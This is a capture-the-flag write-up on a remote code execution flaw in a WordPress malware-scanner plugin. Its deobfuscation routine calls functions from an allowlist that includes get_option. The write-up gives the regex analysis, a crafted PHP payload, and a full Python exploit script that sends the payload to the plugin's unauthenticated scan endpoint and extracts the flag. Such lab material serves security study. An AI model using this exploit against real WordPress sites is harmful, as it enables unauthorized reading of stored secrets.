Super Malware Scanner: RCE via Insecure Deobfuscation Logic

Introduction

The Super Malware Scanner plugin for WordPress claims to offer advanced malware detection and deobfuscation. However, its “advanced deobfuscation” feature relies on a complex Regular Expression (Regex) that parses and executes PHP code found in user input. This creates a Remote Code Execution (RCE) vulnerability, allowing unauthenticated attackers to execute arbitrary functions present in a permissive allowlist.

Vulnerability Analysis

The vulnerability resides in the deobfuscateCode method, which is accessible via an unauthenticated REST API endpoint (/wp-json/sms/v1/scan).

Step 1: The Dangerous Regex

The plugin attempts to identify and “deobfuscate” code matching a specific pattern (likely simulating a common malware obfuscation technique involving base64_decode, gzinflate, and character shifting).

$pattern = '~function\s+(\w+)\s*\(\s*(\$\w+)\s*\)\s*{\'.
// ... (matching obfuscation logic) ...
'\s*(?:eval\s*\(|\s*(\$\w+)\s*=\s*)' .
'\s*\1\s*\(\s*((?:\(\s*\w+)*)\s*\(\s*["\']([^"\']+)["\']\s*\)\s*\)+\s*;~msi';

This regex is designed to capture:

  1. A function definition.
  2. A call to that function at the end.
  3. Crucially: A “chain” of nested function calls passed as arguments ($matches[7]) and a payload string ($matches[8]).

Step 2: Insecure Execution

When a match is found, the processDeltaOrd method is called:

    private function processDeltaOrd($code, $matches) {
// ...
if (!empty($matches[7])) {
$function_chain = explode('(', $matches[7]);
$functions = array_reverse(array_filter($function_chain));
$data = $payload; // $matches[8]

foreach ($functions as $func) {
$func = trim($func);
if ($this->isFunc($func)) {
$data = call_user_func($func, $data);
}
// ...
}
// ...
return $data;
}
// ...
}

This code iterates through the captured function names and executes them using call_user_func on the payload data, provided the function name is in the isFunc allowlist.

Step 3: Permissive Allowlist

The isFunc method checks the function name against a list of “safe” functions.

    private function isFunc($func) {
$safeFuncs = array(
// ...
'base64_decode',
// ...
'get_option', // <--- VULNERABLE
// ...
);
return in_array(strtolower($func), $safeFuncs);
}

The list includes get_option, a WordPress function that retrieves database options. Since the challenge stores the flag in the flag option (as seen in the Makefile), an attacker can simply call get_option('flag') to retrieve it.

Exploit

To exploit this, we construct a PHP code snippet that strictly matches the regex but chains the get_option function.

The required structure is:

  1. A dummy function definition matching the deobfuscation logic (we can just copy the logic expected by the regex).
  2. A call to this function passing get_option('flag') in the specific nested format expected by the regex: ((get_option('flag'))) .

Exploit Payload

function x($y){
$y=gzinflate(base64_decode($y));
for($i=0;$i<strlen($y);$i++){
$y[$i]=chr(ord($y[$i])+0);
}
return $y;
}
$z=x((get_option('flag')));

This payload satisfies the regex. The capture groups become:

  • $matches[7] (Function Chain): (get_option
  • $matches[8] (Payload): flag

The processDeltaOrd function parses $matches[7], extracts get_option, validates it against the allowlist, and executes get_option('flag'). The result is then printed via print_r, leaking the flag in the API response.

Exploit Script

import requests
import base64
import sys

# Configuration
BASE_URL = "http://localhost:9155"
API_URL = f"{BASE_URL}/wp-json/sms/v1/scan"

def exploit():
# Construct the payload
# The payload must match the regex in deobfuscateCode
# We use 'get_option' which is in the allowlist to retrieve the 'flag' option

# Note: The regex requires specific structure for the function call chain:
# x((get_option('flag')))
# Group 7 captures (get_option
# Group 8 captures flag

malicious_code = (
"function x($y){" \
"$y=gzinflate(base64_decode($y));" \
"for($i=0;$i<strlen($y);$i++){" \
"$y[$i]=chr(ord($y[$i])+0);" \
"}" \
"return $y;" \
"}" \
"$z=x((get_option('flag')));"
)

print(f"[*] Malicious Code:\n{malicious_code}")

# Base64 encode the payload (required by scanCode)
encoded_payload = base64.b64encode(malicious_code.encode()).decode()

params = {
"payload": encoded_payload,
"deobfuscate": "1" # Must be true to trigger deobfuscateCode
}

print(f"[*] Sending request to {API_URL}...")

try:
response = requests.get(API_URL, params=params)

print(f"[*] Response Status Code: {response.status_code}")
print(f"[*] Response Body:\n{response.text}")

if response.status_code == 200:
# The flag might be in the output of print_r (which might be prepended to JSON)
# or implicitly returned if print_r is captured?
# In WordPress REST API, outputting directly might break JSON syntax,
# but we can see the raw text.
if "CTF{" in response.text:
print("\n[+] FOUND FLAG!")
# Extract flag
import re
flag_match = re.search(r'CTF{[^}]+}', response.text)
if flag_match:
print(f"[+] Flag: {flag_match.group(0)}")
else:
print("[-] Flag not found in response.")
else:
print("[-] Request failed.")

except Exception as e:
print(f"[-] Error: {e}")

if __name__ == "__main__":
exploit()